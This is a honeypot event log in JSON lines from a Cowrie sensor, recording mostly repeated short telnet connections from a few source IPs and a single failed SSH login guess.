{"eventid":"cowrie.session.closed","duration":30.567267894744873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:32.040649Z","src_ip":"135.148.33.217","session":"c7d5042fc9b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.735372304916382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:32.055667Z","src_ip":"64.235.40.29","session":"6bcf8667704c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.262341260910034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:32.178241Z","src_ip":"64.235.40.29","session":"bb804e4d80cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57888,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f5dba427676","protocol":"telnet","message":"New connection: 64.235.40.29:57888 (10.17.0.5:23) [session: 7f5dba427676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:32.228282Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57896,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b42732a58da","protocol":"telnet","message":"New connection: 64.235.40.29:57896 (10.17.0.5:23) [session: 4b42732a58da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:32.316995Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57898,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c29650fd3ad","protocol":"telnet","message":"New connection: 64.235.40.29:57898 (10.17.0.5:23) [session: 4c29650fd3ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:32.379446Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57574,"dst_ip":"10.17.0.5","dst_port":23,"session":"6658298dba30","protocol":"telnet","message":"New connection: 64.235.40.29:57574 (10.17.0.5:23) [session: 6658298dba30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:32.414704Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57904,"dst_ip":"10.17.0.5","dst_port":23,"session":"20b7828dc311","protocol":"telnet","message":"New connection: 64.235.40.29:57904 (10.17.0.5:23) [session: 20b7828dc311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:32.418761Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57920,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e798f65a163","protocol":"telnet","message":"New connection: 64.235.40.29:57920 (10.17.0.5:23) [session: 0e798f65a163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:32.436679Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57948,"dst_ip":"10.17.0.5","dst_port":23,"session":"a546fe6e8981","protocol":"telnet","message":"New connection: 64.235.40.29:57948 (10.17.0.5:23) [session: a546fe6e8981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:32.769207Z"}
{"eventid":"cowrie.session.closed","duration":31.564575672149658,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:32.969985Z","src_ip":"64.235.40.29","session":"ce5a3ea5c40b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85649013519287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:33.046179Z","src_ip":"64.235.40.29","session":"fc259ea674be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57992,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac0baf06ec46","protocol":"telnet","message":"New connection: 64.235.40.29:57992 (10.17.0.5:23) [session: ac0baf06ec46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:33.061299Z"}
{"eventid":"cowrie.session.closed","duration":30.409850358963013,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:33.171717Z","src_ip":"64.235.40.29","session":"df588157aaea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57894,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3c7f58abd61","protocol":"telnet","message":"New connection: 64.235.40.29:57894 (10.17.0.5:23) [session: b3c7f58abd61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:33.278994Z"}
{"eventid":"cowrie.session.closed","duration":31.19967532157898,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:33.303365Z","src_ip":"64.235.40.29","session":"b40cb56d88b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.299996376037598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:33.320129Z","src_ip":"64.235.40.29","session":"b95ac7c0b947","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57996,"dst_ip":"10.17.0.5","dst_port":23,"session":"888a1c8752f9","protocol":"telnet","message":"New connection: 64.235.40.29:57996 (10.17.0.5:23) [session: 888a1c8752f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:33.549977Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":35152,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb43251b47a5","protocol":"telnet","message":"New connection: 135.148.33.217:35152 (10.17.0.5:23) [session: eb43251b47a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:33.750924Z"}
{"eventid":"cowrie.session.closed","duration":32.48073434829712,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:33.869983Z","src_ip":"64.235.40.29","session":"792fca1583b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.7116961479187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:33.880668Z","src_ip":"64.235.40.29","session":"fb25f5ce7090","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.053216218948364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:34.045656Z","src_ip":"64.235.40.29","session":"3262e6927831","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90479063987732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:34.054638Z","src_ip":"64.235.40.29","session":"5566b0b3c06c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":58066,"dst_ip":"10.17.0.5","dst_port":23,"session":"14bbc9821f48","protocol":"telnet","message":"New connection: 64.235.40.29:58066 (10.17.0.5:23) [session: 14bbc9821f48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:34.139912Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":58078,"dst_ip":"10.17.0.5","dst_port":23,"session":"41f55765f6ed","protocol":"telnet","message":"New connection: 64.235.40.29:58078 (10.17.0.5:23) [session: 41f55765f6ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:34.187669Z"}
{"eventid":"cowrie.session.closed","duration":31.212716817855835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:34.267483Z","src_ip":"64.235.40.29","session":"280986a9dbb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":58084,"dst_ip":"10.17.0.5","dst_port":23,"session":"00238de8ed3f","protocol":"telnet","message":"New connection: 64.235.40.29:58084 (10.17.0.5:23) [session: 00238de8ed3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:34.426849Z"}
{"eventid":"cowrie.session.closed","duration":31.225560665130615,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:34.629542Z","src_ip":"135.148.33.217","session":"315c9d94f058","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0008442401886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:34.706281Z","src_ip":"64.235.40.29","session":"10ab6f41ff12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82920479774475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:35.039764Z","src_ip":"64.235.40.29","session":"aff7fde966a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67316174507141,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:35.058477Z","src_ip":"64.235.40.29","session":"7f4964a4ef6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.968059301376343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:35.096848Z","src_ip":"64.235.40.29","session":"ef9bb764bcf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40138,"dst_ip":"10.17.0.5","dst_port":23,"session":"5167509ed068","protocol":"telnet","message":"New connection: 64.235.40.29:40138 (10.17.0.5:23) [session: 5167509ed068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:35.196007Z"}
{"eventid":"cowrie.session.closed","duration":31.060558795928955,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:35.265436Z","src_ip":"64.235.40.29","session":"b8e46ba77ea5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":57588,"dst_ip":"10.17.0.5","dst_port":23,"session":"427ae3f3612c","protocol":"telnet","message":"New connection: 195.154.29.177:57588 (10.17.0.5:23) [session: 427ae3f3612c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:35.271230Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40166,"dst_ip":"10.17.0.5","dst_port":23,"session":"6408be724016","protocol":"telnet","message":"New connection: 64.235.40.29:40166 (10.17.0.5:23) [session: 6408be724016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:35.453463Z"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:35.478085Z","src_ip":"122.168.114.167","session":"f921de9a4ebb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.527679204940796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:35.590065Z","src_ip":"64.235.40.29","session":"789e9f3301a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.896854877471924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:35.631266Z","src_ip":"64.235.40.29","session":"cfdb3b826bb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40196,"dst_ip":"10.17.0.5","dst_port":23,"session":"027b8bf9020e","protocol":"telnet","message":"New connection: 64.235.40.29:40196 (10.17.0.5:23) [session: 027b8bf9020e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:35.901380Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40122,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eb8af4ccba9","protocol":"telnet","message":"New connection: 64.235.40.29:40122 (10.17.0.5:23) [session: 1eb8af4ccba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:35.983295Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":38180,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec921f364a18","protocol":"telnet","message":"New connection: 135.148.33.217:38180 (10.17.0.5:23) [session: ec921f364a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:36.040413Z"}
{"eventid":"cowrie.session.closed","duration":30.835967779159546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:36.048214Z","src_ip":"64.235.40.29","session":"0b5aeb037992","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.605950593948364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:36.062758Z","src_ip":"64.235.40.29","session":"19f97c8dc3f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.632015466690063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:36.159949Z","src_ip":"160.250.4.73","session":"33a32fe56b2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40220,"dst_ip":"10.17.0.5","dst_port":23,"session":"462fc15c6c3c","protocol":"telnet","message":"New connection: 64.235.40.29:40220 (10.17.0.5:23) [session: 462fc15c6c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:36.504839Z"}
{"eventid":"cowrie.session.closed","duration":31.40149426460266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:36.588886Z","src_ip":"64.235.40.29","session":"822a3cdd39e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40236,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc55362e6f6e","protocol":"telnet","message":"New connection: 64.235.40.29:40236 (10.17.0.5:23) [session: dc55362e6f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:36.716074Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40188,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1dd0b032137","protocol":"telnet","message":"New connection: 64.235.40.29:40188 (10.17.0.5:23) [session: d1dd0b032137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:36.807482Z"}
{"eventid":"cowrie.session.closed","duration":30.948803663253784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:36.839170Z","src_ip":"64.235.40.29","session":"55e2308f76a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50075602531433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:36.925285Z","src_ip":"64.235.40.29","session":"d7cbe4419798","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25701379776001,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:37.041510Z","src_ip":"64.235.40.29","session":"c2135e0e47aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.606902837753296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:37.045923Z","src_ip":"64.235.40.29","session":"07d84dd6b8bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.072115421295166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:37.048815Z","src_ip":"64.235.40.29","session":"b57844ecb5dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.832744121551514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:37.093546Z","src_ip":"64.235.40.29","session":"3009d0f77592","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.936986446380615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:37.111595Z","src_ip":"64.235.40.29","session":"4c3d3adac031","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40244,"dst_ip":"10.17.0.5","dst_port":23,"session":"f58b9d36e1b1","protocol":"telnet","message":"New connection: 64.235.40.29:40244 (10.17.0.5:23) [session: f58b9d36e1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:37.155149Z"}
{"eventid":"cowrie.session.closed","duration":31.08695387840271,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:37.163933Z","src_ip":"64.235.40.29","session":"f2c005a94364","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65358018875122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:37.212644Z","src_ip":"64.235.40.29","session":"1bec8d99c530","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83965516090393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:37.242519Z","src_ip":"64.235.40.29","session":"1bf5809bcc67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40268,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fb45c34515c","protocol":"telnet","message":"New connection: 64.235.40.29:40268 (10.17.0.5:23) [session: 2fb45c34515c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:37.276415Z"}
{"eventid":"cowrie.session.closed","duration":30.393362522125244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:37.335308Z","src_ip":"64.235.40.29","session":"fe85325d27cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.129.6.158","src_port":56168,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fc7915b9b28","protocol":"telnet","message":"New connection: 212.129.6.158:56168 (159.203.135.109:23) [session: 1fc7915b9b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:37.348745Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.129.6.158","src_port":56182,"dst_ip":"159.203.135.109","dst_port":23,"session":"3eaf968c9efc","protocol":"telnet","message":"New connection: 212.129.6.158:56182 (159.203.135.109:23) [session: 3eaf968c9efc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:37.506136Z"}
{"eventid":"cowrie.session.closed","duration":31.8640775680542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:37.860018Z","src_ip":"64.235.40.29","session":"3eb429e00788","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40340,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd2ebc4767e9","protocol":"telnet","message":"New connection: 64.235.40.29:40340 (10.17.0.5:23) [session: cd2ebc4767e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:37.947383Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40356,"dst_ip":"10.17.0.5","dst_port":23,"session":"f433154e00a2","protocol":"telnet","message":"New connection: 64.235.40.29:40356 (10.17.0.5:23) [session: f433154e00a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:38.048871Z"}
{"eventid":"cowrie.session.closed","duration":30.827616691589355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:38.056172Z","src_ip":"64.235.40.29","session":"6cd9a913daf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40364,"dst_ip":"10.17.0.5","dst_port":23,"session":"c27e1ccd7653","protocol":"telnet","message":"New connection: 64.235.40.29:40364 (10.17.0.5:23) [session: c27e1ccd7653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:38.077594Z"}
{"eventid":"cowrie.session.closed","duration":30.820874214172363,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:38.125652Z","src_ip":"64.235.40.29","session":"95023050e891","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40380,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dbda2518609","protocol":"telnet","message":"New connection: 64.235.40.29:40380 (10.17.0.5:23) [session: 3dbda2518609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:38.140487Z"}
{"eventid":"cowrie.session.closed","duration":30.93184757232666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:38.153413Z","src_ip":"64.235.40.29","session":"175f4ab85a93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":40918,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bc7d7965e4a","protocol":"telnet","message":"New connection: 135.148.33.217:40918 (10.17.0.5:23) [session: 4bc7d7965e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:38.192574Z"}
{"eventid":"cowrie.session.closed","duration":31.21129059791565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:38.233461Z","src_ip":"64.235.40.29","session":"0c6453f7996f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40398,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ce6780febec","protocol":"telnet","message":"New connection: 64.235.40.29:40398 (10.17.0.5:23) [session: 3ce6780febec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:38.255177Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40410,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1e587dd5750","protocol":"telnet","message":"New connection: 64.235.40.29:40410 (10.17.0.5:23) [session: f1e587dd5750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:38.262589Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40210,"dst_ip":"10.17.0.5","dst_port":23,"session":"21f565290230","protocol":"telnet","message":"New connection: 64.235.40.29:40210 (10.17.0.5:23) [session: 21f565290230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:38.271334Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40536,"dst_ip":"10.17.0.5","dst_port":23,"session":"2edae976743a","protocol":"telnet","message":"New connection: 64.235.40.29:40536 (10.17.0.5:23) [session: 2edae976743a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:38.629836Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40590,"dst_ip":"10.17.0.5","dst_port":23,"session":"c31e49fa4e47","protocol":"telnet","message":"New connection: 64.235.40.29:40590 (10.17.0.5:23) [session: c31e49fa4e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:38.955045Z"}
{"eventid":"cowrie.session.closed","duration":31.037041902542114,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:39.096045Z","src_ip":"64.235.40.29","session":"7534d6567554","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89166498184204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:39.157708Z","src_ip":"64.235.40.29","session":"632891801be4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.129.6.158","src_port":46978,"dst_ip":"159.203.135.109","dst_port":23,"session":"72e5e9cf9713","protocol":"telnet","message":"New connection: 212.129.6.158:46978 (159.203.135.109:23) [session: 72e5e9cf9713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:39.202895Z"}
